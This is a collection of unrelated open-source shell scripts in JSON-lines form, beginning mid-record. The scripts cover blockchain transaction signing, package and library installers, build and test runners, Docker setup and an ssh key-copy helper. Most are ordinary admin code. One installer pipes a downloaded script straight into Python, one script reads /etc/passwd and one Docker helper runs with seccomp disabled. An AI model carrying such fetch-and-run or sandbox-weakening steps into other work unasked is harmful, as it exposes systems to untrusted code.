transaction\"\n$CLI transaction add-certificate --staging ${STAGING_FILE} $(cat stake_pool_retirement.cert)\n\necho \" ##4.4 Finalize the transaction\"\n$CLI transaction finalize --staging ${STAGING_FILE}\n\nTRANSACTION_ID=$($CLI transaction data-for-witness --staging ${STAGING_FILE})\n\n# Create the witness for the 1 input (add-account) and add it\nWITNESS_SECRET_FILE=\"witness.secret.$$.tmp\"\nWITNESS_OUTPUT_FILE=\"witness.out.$$.tmp\"\n\nprintf \"${ACCOUNT_SK}\" > ${WITNESS_SECRET_FILE}\n\necho \" ##4.5. Make the witness\"\n$CLI transaction make-witness ${TRANSACTION_ID} \\\n --genesis-block-hash ${BLOCK0_HASH} \\\n --type \"account\" --account-spending-counter \"${ACCOUNT_COUNTER}\" \\\n ${WITNESS_OUTPUT_FILE} ${WITNESS_SECRET_FILE}\n\necho \" ##4.6. Add the witness to the transaction\"\n$CLI transaction add-witness ${WITNESS_OUTPUT_FILE} --staging \"${STAGING_FILE}\"\n\necho \" ##4.7. Show the transaction info\"\n$CLI transaction info --fee-constant ${FEE_CONSTANT} --fee-coefficient ${FEE_COEFFICIENT} --fee-certificate ${FEE_CERTIFICATE} --staging \"${STAGING_FILE}\"\n\necho \" ##4.8. Finalize the transaction and send it to the blockchain\"\n$CLI transaction seal --staging \"${STAGING_FILE}\"\n$CLI transaction auth -k ${WITNESS_SECRET_FILE} --staging \"${STAGING_FILE}\"\n$CLI transaction to-message --staging \"${STAGING_FILE}\" | $CLI rest v0 message post\n\necho \" ##4.9. Remove the temporary files\"\nrm ${STAGING_FILE} ${WITNESS_SECRET_FILE} ${WITNESS_OUTPUT_FILE}\n\nwaitNewBlockCreated\n\nexit 0"} {"text": "<gh_stars>1-10\naxurerp10)\n name=\"Axure RP 10\"\n type=\"dmg\"\n if [[ $(arch) == \"arm64\" ]]; then\n downloadURL=\"https://d3uii9pxdigrx1.cloudfront.net/AxureRP-Setup-arm64.dmg\"\n elif [[ $(arch) == \"i386\" ]]; then\n downloadURL=\"https://d3uii9pxdigrx1.cloudfront.net/AxureRP-Setup.dmg\"\n fi\n appNewVersion=$( curl -sL https://www.axure.com/release-history | grep -Eo '[0-9]{1,4}\\.[0-9]{1,4}\\.[0-9]{1,4}\\.[0-9]{1,4}' -m 1 )\n expectedTeamID=\"HUMW6UU796\"\n versionKey=\"CFBundleVersion\"\n appName=\"Axure RP 10.app\"\n blockingProcesses=( \"Axure RP 10\" )\n ;;"} {"text": "#!/usr/bin/env bash\n#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nset -eux\n\narrow_dir=${1}\n\nexport ARROW_SOURCE_DIR=${arrow_dir}\nexport ARROW_TEST_DATA=${arrow_dir}/testing/data\nexport PARQUET_TEST_DATA=${arrow_dir}/cpp/submodules/parquet-testing/data\n\nexport PYARROW_CMAKE_GENERATOR=${CMAKE_GENERATOR:-Ninja}\nexport PYARROW_BUILD_TYPE=${CMAKE_BUILD_TYPE:-debug}\nexport PYARROW_WITH_S3=${ARROW_S3:-OFF}\nexport PYARROW_WITH_ORC=${ARROW_ORC:-OFF}\nexport PYARROW_WITH_CUDA=${ARROW_CUDA:-OFF}\nexport PYARROW_WITH_HDFS=${ARROW_HDFS:-OFF}\nexport PYARROW_WITH_FLIGHT=${ARROW_FLIGHT:-OFF}\nexport PYARROW_WITH_PLASMA=${ARROW_PLASMA:-OFF}\nexport PYARROW_WITH_GANDIVA=${ARROW_GANDIVA:-OFF}\nexport PYARROW_WITH_PARQUET=${ARROW_PARQUET:-OFF}\nexport PYARROW_WITH_PARQUET_ENCRYPTION=${ARROW_PARQUET:-OFF}\nexport PYARROW_WITH_DATASET=${ARROW_DATASET:-OFF}\n\n# TODO: Users should not require ARROW_HOME and pkg-config to find Arrow C++.\n# Related: ARROW-9171\n# unset ARROW_HOME\n# apt purge -y pkg-config\n\n# ARROW-12619\nif command -v git &> /dev/null; then\n echo \"Git exists, remove it from PATH before executing this script.\"\n exit 1\nfi\n\nif [ -n \"${PYARROW_VERSION:-}\" ]; then\n sdist=\"${arrow_dir}/python/dist/pyarrow-${PYARROW_VERSION}.tar.gz\"\nelse\n sdist=$(ls ${arrow_dir}/python/dist/pyarrow-*.tar.gz | sort -r | head -n1)\nfi\n${PYTHON:-python} -m pip install ${sdist}\n\npytest -r s ${PYTEST_ARGS:-} --pyargs pyarrow"} {"text": "echo 'Starting Mysql DB...'\nsudo docker run --name skipthedishes-sp-fair -e MYSQL_ROOT_PASSWORD=<PASSWORD> -e MYSQL_DATABASE=skipthedishes-sp-fair -e MYSQL_USER=skipthedishes-sp-fair -e MYSQL_PASSWORD=<PASSWORD> -p 3306:3306 -d mysql:5.5"} {"text": "<gh_stars>0\n# ref: https://github.com/pytorch/fairseq/tree/main/examples/hubert/simple_kmeans\n# python dump_mfcc_feature.py /userhome/user/chenxie95/github/fairseq/examples/wav2vec/manifest960/ train 8 0 librispeech960h_feature_mfcc\n# python dump_km_label.py librispeech960h_feature_mfcc_local train librispeech960h_feature_mfcc_kmeans 8 0 librispeech960h_feature_mfcc_kmeans_label\n\n# MFCC feature extraction -> K-means clusterinag -> K-means application\n# for train split\nmpirun --allow-run-as-root -np 8 python extract_mfcc.py --split train\npython learn_kmeans.py librispeech960h_feature_mfcc_local train 8 librispeech960h_feature_mfcc_kmeans 100 --percent 0.1\nmpirun --allow-run-as-root -np 8 python kmeans_label.py --split train\n\n# for valid split\nmpirun --allow-run-as-root -np 4 python extract_mfcc.py --split valid\nmpirun --allow-run-as-root -np 4 python kmeans_label.py --split valid\n\n\n# merge K-means results\nlab_dir=librispeech960h_feature_mfcc_kmeans_label\n\nnshard=4\nsplit=valid\nfor rank in $(seq 0 $((nshard - 1))); do cat $lab_dir/${split}_${rank}_${nshard}.km; done > $lab_dir/${split}.km\n\nnshard=8\nsplit=train\nfor rank in $(seq 0 $((nshard - 1))); do cat $lab_dir/${split}_${rank}_${nshard}.km; done > $lab_dir/${split}.km\n\n# Create a dummy dict\nn_clusters=100\nfor x in $(seq 0 $((n_clusters - 1))); do echo \"$x 1\"; done >> $lab_dir/dict.km.txt"} {"text": "<gh_stars>0\n#!/bin/bash\n\n# A script that installs the hook to a SVN repository.\n#\n# Arguments:\n# 1) the (root) location of the repository\n#\n# This script checks it the inputs are valid and asks the user if previous\n# hooks should be overwritten.\n\nset -o nounset\nset -o errexit\nset -o pipefail\n\nif [[ ${#} -ne 1 ]]\nthen\n\techo \"Usage: ${0} REPOSITORY\"\n\texit 1\nfi\n\nreadonly repository=\"${1}\"\n\nfunction check_jar_file() {\n\tlocal script_dir\n\tscript_dir=\"$(dirname \"${0}\")\"\n\n\tjarfile=\"\"\n\n\tlocal file\n\tfor file in \"${script_dir}\"/*.jar\n\tdo\n\t\tif [[ -n \"${jarfile}\" ]]\n\t\tthen\n\t\t\techo \"ERROR: Found too many .jar files in release bundle:\" \"${script_dir}\"/*.jar\n\t\t\texit 1\n\t\tfi\n\n\t\tjarfile=\"${file}\"\n\tdone\n\n\tif [[ ! -f \"${jarfile}\" ]]\n\tthen\n\t\techo \"ERROR: ${jarfile} is not a file\"\n\t\texit 1\n\tfi\n}\n\nfunction check_repository() {\n\tif [[ ! -d \"${repository}\" ]]\n\tthen\n\t\techo \"ERROR: ${repository} is not a directory\"\n\t\texit 1\n\tfi\n\n\tif [[ ! -d \"${repository}/hooks\" ]]\n\tthen\n\t\techo \"ERROR: ${repository} does not have a hooks directory; is it even an SVN repository?\"\n\t\texit 1\n\tfi\n\n\tif [[ -f \"${repository}/hooks/pre-commit\" || -f \"${repository}/hooks/post-commit\" ]]\n\tthen\n\t\techo \"WARNING: ${repository} already has hooks installed\"\n\t\tlocal continue\n\t\tread -r -p \"Overwrite? [y/N] \" continue\n\t\t[[ \"${continue}\" =~ ^[y|Y]$ ]] || exit 0\n\tfi\n}\n\nfunction install_hook() {\n\tlocal hookdir=\"${repository}/hooks/submission-check\"\n\techo \"Installing hook to ${hookdir}\"\n\n\tinstall -d \"${hookdir}\"\n\tinstall --mode=755 -t \"${hookdir}\" \"${jarfile}\"\n\n\tif [[ ! \"$(basename \"${jarfile}\")\" = \"submission-check.jar\" ]]\n\tthen\n\t\t[[ -e \"${hookdir}/submission-check.jar\" ]] && rm \"${hookdir}/submission-check.jar\"\n\t\tln -s \"$(basename \"${jarfile}\")\" \"${hookdir}/submission-check.jar\"\n\tfi\n\n\n\techo \"Creating pre-commit and post-commit\"\n\n\tinstall --mode=755 <(cat <<-'HOOK'\n\t\t\t#!/bin/bash\n\n\t\t\tREPOSITORY=\"$1\"\n\t\t\tTRANSACTION=\"$2\"\n\t\t\tHOOKDIR=\"$REPOSITORY/hooks/submission-check\"\n\n\t\t\tcd \"${HOOKDIR}\"\n\n\t\t\tjava -jar \"submission-check.jar\" PRE \"$REPOSITORY\" \"$TRANSACTION\"\n\n\t\t\texit $?\n\t\t\tHOOK\n\t) \"${repository}/hooks/pre-commit\"\n\n\tinstall --mode=755 <(cat <<-'HOOK'\n\t\t\t#!/bin/bash\n\n\t\t\tREPOSITORY=\"$1\"\n\t\t\tREV=\"$2\"\n\t\t\tHOOKDIR=\"$REPOSITORY/hooks/submission-check\"\n\n\t\t\tcd \"${HOOKDIR}\"\n\n\t\t\tjava -jar \"submission-check.jar\" POST \"$REPOSITORY\" \"$REV\"\n\n\t\t\texit $?\n\t\t\tHOOK\n\t) \"${repository}/hooks/post-commit\"\n\n\techo \"Hook installed to ${hookdir}\"\n}\n\nfunction check_command() {\n\tif ! which \"${1}\" &>/dev/null\n\tthen\n\t\techo \"WARNING: Command \\`${1}\\` not found\"\n\t\techo \"WARNING: This command is (usually) required for the hook to run\"\n\t\techo \"WARNING: Check your installation\"\n\tfi\n}\n\nfunction check_environment() {\n\tcheck_command javac\n\tcheck_command svnlook\n}\n\ncheck_jar_file\ncheck_repository\ninstall_hook\ncheck_environment"} {"text": "<reponame>joedaniels29/setup_script<gh_stars>1-10\n#!/usr/bin/env zsh\n\nsource config_brew.zsh\n# if [[ -n $TESTING ]]; then\n# if ! is_function concblock; then\n export CONC_MAX=${CONC_MAX:-1}\n zmodload zsh/parameter\n zmodload zsh/zselect\n\n function concblock () {\n CONC_MAX=${CONC_MAX:-1}\n\n # Block until there is an open slot\n if [[ ${#jobstates} -ge $CONC_MAX ]]; then\n while; do\n zselect -t 20\n if [[ ${#jobstates} -lt $CONC_MAX ]]; then\n break\n fi\n done\n fi;\n\n return 0\n }\n# fi\n# fi\ndo_brew(){\n local installit=$1\n local uninstallit=$2\n brew ${(z)installit} $3\n if [[ $TESTING == \"true\" ]]; then\n brew ${(z)uninstallit} $3\n fi\n}\n\ndo_install_brew_set(){\n while read i\n do\n if [[ ! -z $i ]]; then\n echo \"testing $i\"\n do_brew \"$CASK_CMD_PCH install\" \"$CASK_CMD_PCH uninstall --force\" $i &\n concblock\n fi\n done < ./$1\n}\n\nif [[ -z $TESTING ]]; then\n do_install_brew_set brews_set_1\n do_install_brew_set brews_set_2\n do_install_brew_set brews_set_3\n CASK_CMD_PCH=cask do_install_brew_set cask\nelse\n do_install_brew_set $BREW_SET\nfi"} {"text": "<reponame>TaborKelly/DockerNotes\n#!/bin/bash\n\nU=`id -g`\nG=`id -u`\n\nif [ $# -ne 3 ]\n then\n echo \"We expect exactly three arguments:\"\n echo \" 1. A source image name\"\n echo \" 2. A container name\"\n echo \" 3. A bindmount path for /work\"\n exit 1\nfi\n\n# Start a detached interactive process\n# ./create_container_and_run.sh debian_dev:latest debian_dev_container /work/rpe/docker_work\ndocker run -dit --security-opt seccomp=unconfined -u $U:$G --mount type=bind,source=$3,target=/work --name $2 $1 bash"} {"text": "#!/bin/bash\n\n# Exit on any failure\nset -e\n\n# Installing Sublime Text3\nsudo add-apt-repository ppa:webupd8team/sublime-text-3 -y\nsudo apt-get install sublime-text-installer -y"} {"text": "#!/bin/bash\n./wait-for-it.sh -t 180 postgres_db:5432\n\npython3 manage.py db migrate\npython3 manage.py db upgrade\npython3 entrypoint.py"} {"text": "<filename>libwyliodrin/install_social.sh\n#!/bin/bash\n\nINSTALL_SOCIAL_PATH=/tmp/install_social\n\n# folder\nrm -rf $INSTALL_SOCIAL_PATH\nmkdir $INSTALL_SOCIAL_PATH\ncd $INSTALL_SOCIAL_PATH\n\n#python\n\necho \"Checking for python setuptools\"\nif ! echo \"import setuptools\" | python; then\n\techo \"Installing python setuptools\"\n\tcurl -L https://bootstrap.pypa.io/ez_setup.py | python\nfi\n\ncd $INSTALL_SOCIAL_PATH\necho \"Checking python facebook\"\nif ! echo \"import facebook\" | python; then\n\techo \"Installing python facebook\"\n\tcurl -L https://github.com/pythonforfacebook/facebook-sdk/archive/master.zip > facebook.zip\n\tunzip facebook.zip\n\tcd facebook-sdk-master\n\tpython setup.py install\n\tcd ..\nfi\n\necho \"Checking python tweepy\"\nif ! echo \"import tweepy\" | python; then\n\techo \"Installing python tweepy\"\n\tcurl -L https://github.com/tweepy/tweepy/archive/v2.3.0.zip > tweepy.zip\n\tunzip tweepy.zip\n\tcd tweepy-2.3.0\n\tpython setup.py install\n\tcd ..\nfi\n\necho \"Checking python twilio\"\nif ! echo \"import twilio\" | python; then\n\techo \"Installing python twilio\"\n\tcurl -L https://github.com/twilio/twilio-python/archive/3.6.5.zip > twilio-python.zip\n\tunzip twilio-python.zip\n\tcd twilio-python-3.6.5\n\tpython setup.py install\n\tcd ..\nfi\n\necho \"Checking python flask\"\nif ! echo \"import flask\" | python; then\n\techo \"Installing python flask\"\n\tcurl -L http://pypi.python.org/packages/source/F/Flask/Flask-0.10.1.tar.gz > flask.tar.gz\n\ttar zxf flask.tar.gz\n\tcd Flask-0.10.1\n\tpython setup.py install\n\tcd ..\nfi\n\n\necho \"Checking pybass\"\nif ! echo \"import pybass\" | python; then\n\techo \"Installing pybass\"\n\tcurl -L https://github.com/Wyliodrin/pybass/archive/master.zip > pybass.zip\n\tunzip pybass.zip\n\tcd pybass-master\n\tchmod a+x install.sh\n\t./install.sh\n\tcd ..\nfi\n\necho \"Checking pyfirmata\"\nif ! echo \"import pyfirmata\" | python; then\n\techo \"Installing pyfirmata\"\n\tgit clone https://github.com/tino/pyFirmata.git\n\tcd pyFirmata\n\tpython setup.py install\n\tcd ..\nfi\n\n#javascript\n\nexport NODE_PATH=`npm root -g`\n\necho \"Checking javascript facebook\"\nif ! echo \"require ('fb')\" | node; then\n\techo \"Installing javascript facebook\"\n\tnpm install -g fb\nfi\n\necho \"Checking javascript twitter\"\nif ! echo \"require ('twitter-ng')\" | node; then\n\techo \"Installing javascript twitter\"\n\tnpm install -g twitter-ng\nfi\n\necho \"Checking javascript twilio\"\nif ! echo \"require ('twilio')\" | node; then\n\techo \"Installing javascript twilio\"\n\tnpm install -g twilio\nfi\n\necho \"Checking javascript mail\"\nif ! echo \"require ('nodemailer')\" | node; then\n\techo \"Installing javascript nodemailer\"\n\tnpm install -g nodemailer\nfi\n\n\necho \"Checking javascript express\"\nif ! echo \"require ('express')\" | node; then\n\techo \"Installing javascript express\"\n\tnpm install -g express\n\tnpm install -g morgan\n\tnpm install -g body-parser\n\tnpm install -g jinja\nfi"} {"text": "export OCRD_TOOL_JSON=./test/ocrd-tool.json\nexport OCRD_TOOL_NAME=\"ocrd-test-bashlib\"\ndeclare -A argv=()\nsource `ocrd bashlib filename`\n\nocrd__parse_argv \"$@\"\n\nfor k in \"${!argv[@]}\";do\n echo \"$k == ${argv[$k]}\"\ndone"} {"text": "<gh_stars>0\n#!/bin/bash\n\n.circleci/unzip-rasters.sh\n\n./sbt -Dsbt.supershell=false \"++$SCALA_VERSION\" \\\n \"project accumulo\" test \\\n \"project accumulo-spark\" test || { exit 1; }"} {"text": "<filename>conda/libelemental/build.sh\n#!/bin/sh\n\nNPROC=`nproc`\n\ngit checkout tags/v0.87.4\n\nmkdir build\n\ncd build\n\ncmake \\\n-DCMAKE_INSTALL_PREFIX=\"${PREFIX}\" \\\n-DCMAKE_CXX_COMPILER=\"${PREFIX}/bin/g++\" \\\n-DCMAKE_C_COMPILER=\"${PREFIX}/bin/gcc\" \\\n-DCMAKE_Fortran_COMPILER=\"${PREFIX}/bin/gfortran\" \\\n-DEL_USE_64BIT_INTS=ON \\\n-DEL_HAVE_QUADMATH=OFF \\\n-DCMAKE_BUILD_TYPE=Release \\\n-DEL_HYBRID=ON \\\n-DBUILD_SHARED_LIBS=ON \\\n-DMATH_LIBS=\"-L${PREFIX}/lib -lopenblas -lm\" \\\n-DINSTALL_PYTHON_PACKAGE=ON \\\n-DEL_BUILD_METIS=ON \\\n-DEL_DISABLE_VALGRIND=ON \\\n-DEL_DISABLE_PARMETIS=ON \\\n-DEL_HAVE_MPC=OFF \\\n.. \n\n\nmake -j $NPROC\n\nmake install"} {"text": "<gh_stars>1-10\n#!/bin/sh -e\n\nonos-app 192.168.56.5 install target/qos-simple-1.0-SNAPSHOT.oar\n\nonos-app 192.168.56.5 activate org.qos.simple"} {"text": "<filename>buildscripts/run_rpm_tests.sh\n#!/bin/bash\n\n# This file is subject to the terms and conditions defined in\n# 'LICENSE.txt', which is part of this source code distribution.\n#\n# Copyright 2012-2016 Software Assurance Marketplace\n\necho Workspace: ${WORKSPACE:?WORKSPACE is not set}\n\ncd $WORKSPACE/deployment/swamp/installer\n\n#RELEASE_NUMBER controls the major/minor release number in ALL RPMs.\nexport RELEASE_NUMBER\nRELEASE_NUMBER=${RELEASE_NUMBER:=1.08.DEV}\n\n# Set up perlbrew.\nif [ -z \"$PERLBREW_ROOT\" ];then\nexport PERLBREW_ROOT=/opt/perl5\nsource ${PERLBREW_ROOT}/etc/bashrc\nperlbrew switch perl-5.18.1\nperlbrew list\nfi\nperl -v\nmake tests clean rpm\n\ncd $WORKSPACE/deployment/swamp/ds-installer\nmake\n\n# These require git specific changes\ncd $WORKSPACE/deployment/swamp/swamp-web-server-installer\nmake tests clean rpm\n\n# Now make the documentation if desired\nif [ -n \"$GENDOCS\" ];then\n cd $WORKSPACE/deployment/doc\n mkdir -p doxygen\n DOCROOT=doxygen make doc\nfi"} {"text": "#!/bin/bash\n\nBASE_PROJECT_DIR=`dirname \"$0\"`\nBASE_PROJECT_DIR=`cd \"$BASE_PROJECT_DIR\"; pwd`\n\nMAVEN_ARGS=\"$@\"\n\n\nfunction buildHttpDir {\n PROJECT_DIR=$1\n cd \"$PROJECT_DIR\"\n\n TARGET=\"${PROJECT_DIR}/target\"\n\n PARCEL_NAME=`mvn help:evaluate $MAVEN_ARGS -Dexpression=parcel.name | grep -Ev '(^\\[|Download\\w+:)'`\n\n LONG_FILENAME=$(ls -1 ${TARGET}/${PARCEL_NAME}-*.tar.gz)\n FILENAME=$(basename ${LONG_FILENAME})\n\n PARCEL_VERSION=$(echo ${FILENAME} | sed -e \"s/${PARCEL_NAME}-//g\" | sed -e 's/.tar.gz//g')\n echo \"PARCEL_VERSION=${PARCEL_VERSION}\"\n\n PARCEL=\"${TARGET}/${PARCEL_NAME}-${PARCEL_VERSION}.tar.gz\"\n PARCEL_SHA=\"${PARCEL}.sha\"\n\n if hash sha1sum 2>/dev/null; then\n sha1sum $PARCEL | awk '{print $1}' > $PARCEL_SHA\n else\n shasum $PARCEL | awk '{print $1}' > $PARCEL_SHA\n fi\n\n HASH=`cat $PARCEL_SHA`\n for DISTRO in el5 el6 el7 sles11 lucid precise trusty squeeze wheezy\n do\n \tif [ $DISTRO != \"el5\" ] ; then\n\t \techo \",\" >> $MANIFEST\n\t fi\n\t DISTRO_PARCEL=\"${PARCEL_NAME}-${PARCEL_VERSION}-${DISTRO}.parcel\"\n\t DISTRO_PARCEL_SHA=\"${PARCEL_NAME}-${PARCEL_VERSION}-${DISTRO}.parcel.sha\"\n\t ln $PARCEL \"${HTTP_DIR}/${DISTRO_PARCEL}\"\n\t ln $PARCEL_SHA \"${HTTP_DIR}/${DISTRO_PARCEL_SHA}\"\n\t echo \"{\\\"parcelName\\\":\\\"${DISTRO_PARCEL}\\\",\\\"components\\\": [{\\\"name\\\" : \\\"${PARCEL_NAME}\\\",\\\"version\\\" : \\\"${PARCEL_VERSION}\\\",\\\"pkg_version\\\": \\\"${PARCEL_VERSION}\\\"}],\\\"hash\\\":\\\"${HASH}\\\"}\" >> $MANIFEST\n done\n}\n\ncd \"$BASE_PROJECT_DIR\"\nHTTP_DIR=\"$BASE_PROJECT_DIR/target/tmp-http\"\nrm -r $HTTP_DIR\nmkdir -p $HTTP_DIR\n\nLAST_UPDATED_SEC=`date +%s`\nLAST_UPDATED=\"${LAST_UPDATED_SEC}0000\"\n\nMANIFEST=\"${HTTP_DIR}/manifest.json\"\necho \"{\\\"lastUpdated\\\":${LAST_UPDATED},\\\"parcels\\\": [\" > $MANIFEST\n\nbuildHttpDir $BASE_PROJECT_DIR/hdfs-backup-core\necho \",\" >> $MANIFEST\n\nbuildHttpDir $BASE_PROJECT_DIR/s3-backup/s3-backup-store\necho \",\" >> $MANIFEST\n\nbuildHttpDir $BASE_PROJECT_DIR/local-backup/local-backup-store\n\necho \"]}\" >> $MANIFEST\ncd ${HTTP_DIR}\npython -m SimpleHTTPServer 8001"} {"text": "<reponame>robelregassa/Flask-AppBuilder\n#pybabel extract -F ./babel/babel.cfg -k lazy_gettext -o ./babel/messages.pot .\npybabel update -N -i ./babel/messages.pot -d app/translations\npybabel compile -f -d app/translations"} {"text": "<gh_stars>0\n# ROLL NO 15\n# Name <NAME>\necho \"1) List all Files\"\necho \"2) Print Current Directory\"\necho \"3) Print Date\"\necho \"4) Print Users\"\n\nread choice\n\ncase $choice in\n 1) ls\n ;;\n 2) pwd\n ;;\n 3) echo `date +%d-%B-%Y`\n ;;\n 4) awk -F: '{ print $1}' /etc/passwd\n ;;\n *) echo \"Invalid Option\"\nesac"} {"text": "sudo apt install -y libopenblas-base libomp-dev\npip install faiss\n\n# wget -O faiss_cpu.tar.bz2 https://anaconda.org/pytorch/faiss-cpu/1.4.0/download/linux-64/faiss-cpu-1.4.0-py36_cuda0.0_1.tar.bz2\n# tar xvjf faiss_cpu.tar.bz2 && cp -r lib/python3.6/site-packages/faiss ml_tools/faiss/faiss_cpu -R && rm lib/ -R && rm info/ -R\n\n# wget -O faiss_gpu.tar.bz2 https://anaconda.org/pytorch/faiss-gpu/1.4.0/download/linux-64/faiss-gpu-1.4.0-py36_cuda9.2.148_1.tar.bz2\n# tar xvjf faiss_gpu.tar.bz2 && cp -r lib/python3.6/site-packages/faiss ml_tools/faiss/faiss_gpu -R && rm lib/ -R && rm info/ -R"} {"text": "#!/bin/bash\n# wbw_201812171600\n\n#------------1-sourse env--------------\nsource /etc/profile\n\n#------------2-kill jar----------------\njar_name=$1\n#bash ./stop.sh $jar_name\n\n#-------------3-start jar----------------\nfilename=$(basename $jar_name .jar)\njava -jar ./$jar_name 1>/data/logs/$filename.log 2>> /data/logs/err_log/$filename_err.log &\necho 4\n#---------------4- echo------------------\nps -aux |grep java"} {"text": "<gh_stars>1-10\n#!/bin/bash\n##\n## Legacy script used before ssh-copy-id was commonly available.\n##\n\nPROG_PATH=${BASH_SOURCE[0]} # this script's name\nPROG_NAME=${PROG_PATH##*/} # basename of script (strip path)\n#PROG_DIR=\"$(cd \"$(dirname \"${PROG_PATH:-$PWD}\")\" 2>/dev/null 1>&2 && pwd)\"\n\nusage() { cat<<EOF_USAGE\n NOTE: Instead of using this script, just use ssh-copy-id (if available).\n\n Usage: $PROG_NAME [-e {dsa|rsa}] [-r {user}] {host}\n Update public key on remote {host} as {user}, by default 'rsa'.\n\n Example: $PROG_NAME -r remote_user remote_host\n Generate the local user's public key, appending to the remote_user's\n \"authorized_keys\" file. Allows the local user to login to remote_host\n without a password (or using the key passphrase, if required)\nEOF_USAGE\n\n [ $# -gt 0 -a \"$1\" = \"-v\" ] || return 0\n\ncat<<EOF_USAGE2\n Caveats:\n * use ssh-copy-id if it exists (this script is a work-around\n for when it doesn't exist, which is less common these days)\n * your password will have to be entered a few times to run the script,\n but you won't have to any more after that (assuming you did not type\n a passphrase for your key)\n * typically you do *not* want to use a passphrase, if doing distributed\n processing (eg., hadoop, et al.); but *do* want one for logging in\n to servers, accessing git repo, etc (for remembering your passphrase,\n see: ssh-agent)\n\n If ssh-copy-id doesn't exist, you may do the following manually (this\n script does the same, but all executed from the client):\n From your client host,\n $ ssh-keygen -t rsa\n $ scp ~/.ssh/id_rsa.pub {user}@{rmt_host}:/tmp/{user}-id_rsa.pub\n Then login to rmt_host (optionally, to setup proper permissions, see below):\n $ cat /tmp/{user}-id_rsa.pub >> ~/.ssh/authorized_keys\n $ rm -f /tmp/{user}-id_rsa.pub\n\n Optionally, to setup proper permissions on the remote host,\n * to create ~/.ssh with proper permissions, either run ssh-keygen, or:\n $ mkdir ~/.ssh && chmod 700 ~/.ssh\n * to create authorized_keys,\n $ test -f ~/.ssh/authorized_keys || { touch ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys; }\nEOF_USAGE2\n}\n\n\n###########################################################################\n# Create tmp files, only readable by user, cleanup on exit\ntmp1=/tmp/tmp.${USER}.$$.rmtkey.tmp\ntmp2=/tmp/tmp.${USER}.$$.allkeys.tmp\n\ntrap 'echo \"# cleaning up tmpfiles: $tmp1 $tmp2\" && rm -f \"$tmp1\" \"$tmp2\" >/dev/null 2>&1' 0\ntrap \"exit 2\" 1 2 3 15\n\ncreate_tmp() {\n [ $# -lt 1 ] && printf \"** Expecting temp filename.\\n\" && exit 2\n for tmpf; do\n if ! touch $tmpf || ! chmod 600 $tmpf; then\n printf \"** Can't create temp file, ${tmpf}\\n\" && exit 2\n fi\n done\n}\n\n###########################################################################\n# main\n#\ndo_ssh_copy_id() {\n local opt OPTIND OPTARG\n local enc pubkey targdir targkeys rmthost\n local mkdir_rmt=false # false: use ssh-keygen instead of mkdir to create ~/.ssh\n\n while getopts r:e:h opt; do\n case \"$opt\" in\n r) ruser=\"${OPTARG}\"\n echo \"# using remote username: $ruser\"\n ;;\n e) enc=\"${OPTARG}\"\n [ \"$enc\" = \"rsa\" -o \"$enc\" = \"dsa\" ] || { usage; exit 2; }\n echo \"# using encryption: $enc\"\n ;;\n h) usage; exit 2\n ;;\n *) echo \"# unknown option, $opt\" 1>&2; usage; exit 2\n ;;\n esac\n done; shift $((OPTIND-1)); OPTIND=1\n\n [ \"$enc\" = \"\" ] && enc=rsa\n [ \"$ruser\" = \"\" ] && ruser=$USER\n [ -z \"$ruser\" ] && { printf \"** Error: User must be set.\\n\"; usage; exit 2; }\n\n pubkey=~/.ssh/id_${enc}.pub\n targdir=\"~/.ssh\"\n targkeys=\"$targdir/authorized_keys\"\n rmthost=${ruser}@${1}\n\n create_tmp $tmp1 $tmp2 || exit 2\n\n [ ! -f $pubkey ] \\\n && printf \"\\n# Create public/private key pair; public key=${pubkey}\\n\" \\\n && ssh-keygen -t ${enc}\n\n printf \"\\n# Copy remote: [${rmthost}:${targkeys}] to local: [${tmp1}]\\n\"\n if scp ${rmthost}:${targkeys} $tmp1\n then\n printf \"\\n# Concatenate public keys to file ${tmp2}: ${pubkey} ${tmp1}\\n\"\n else\n cat /dev/null > $tmp1\n printf \"\\n# Remote authorized_keys do not exist, creating remote .ssh directory\\n\"\n if $mkdir_rmt; then\n ssh ${rmthost} \"mkdir -p $targdir; chmod 700 $targdir\"\n else\n printf \"# by running ssh-keygen on remote host (typically, just accept defaults): \\n\"\n ssh ${rmthost} \"ssh-keygen\"\n fi\n fi\n\n cat $pubkey $tmp1 > $tmp2\n\n printf \"\\n# Copying updated authorized_keys: [scp $tmp2 ${rmthost}:${targkeys}]\\n\"\n scp $tmp2 ${rmthost}:${targkeys} \\\n && printf \"\\n# Finished updating remote authorized_keys\\n\" \\\n || printf \"** Error: Couldn't update remote authorized_keys.\\n\"\n}\n\ndo_ssh_copy_id \"$@\""} {"text": "<filename>scripts/util.sh\n# Build progressbar strings and print the ProgressBar line\n# Output example:\n# Progress : [########################################] 100%\nProgressBar()\n{\n # Process data\n let _progress=(${1}*100/${2}*100)/100\n let _done=(${_progress}*4)/10\n let _left=40-$_done\n # Build progressbar string lengths\n _fill=$(printf \"%${_done}s\")\n _empty=$(printf \"%${_left}s\")\n printf \"\\rProgress : [${_fill// /#}${_empty// /-}] ${_progress}%%\"\n}"} {"text": "<filename>scripts/MCM.sh\n#!/bin/sh\n\n# runs mauve contig mover\n# Author: <NAME>\n\nset -e\n\nref=$1\ndraft=$2\noutput=$3\nMAUVE=$(which Mauve)\njar=`dirname $MAUVE`/Mauve.jar\necho \"JAR: $jar\"\n\nif [ \"$output\" = \"\" ]; then\n echo \"Usage: $0 ref.fasta draft.fasta outputDir\";\n echo \"NOTE: this script must be in the same directory as Mauve.jar\"\n exit 1;\nfi\n\njava -Xmx500m -cp $jar org.gel.mauve.contigs.ContigOrderer -output $output -ref $ref -draft $draft\n\ncd $output\nlastAlignment=$(\\ls -t alignment*/alignment* | grep -P '\\d$' | head -n 1)\nln -s $lastAlignment ./alignment.xmfa\ncd ..\necho \"Best alignment can be found at $output/alignment.xmfa\""} {"text": "#!/bin/sh\n\nif [ $# != 3 ] ; then\n echo \"\nUsage: \n\n./all-triton.sh <input-dir> <dataset-dir> <cdf-name>\n\nCommonly used 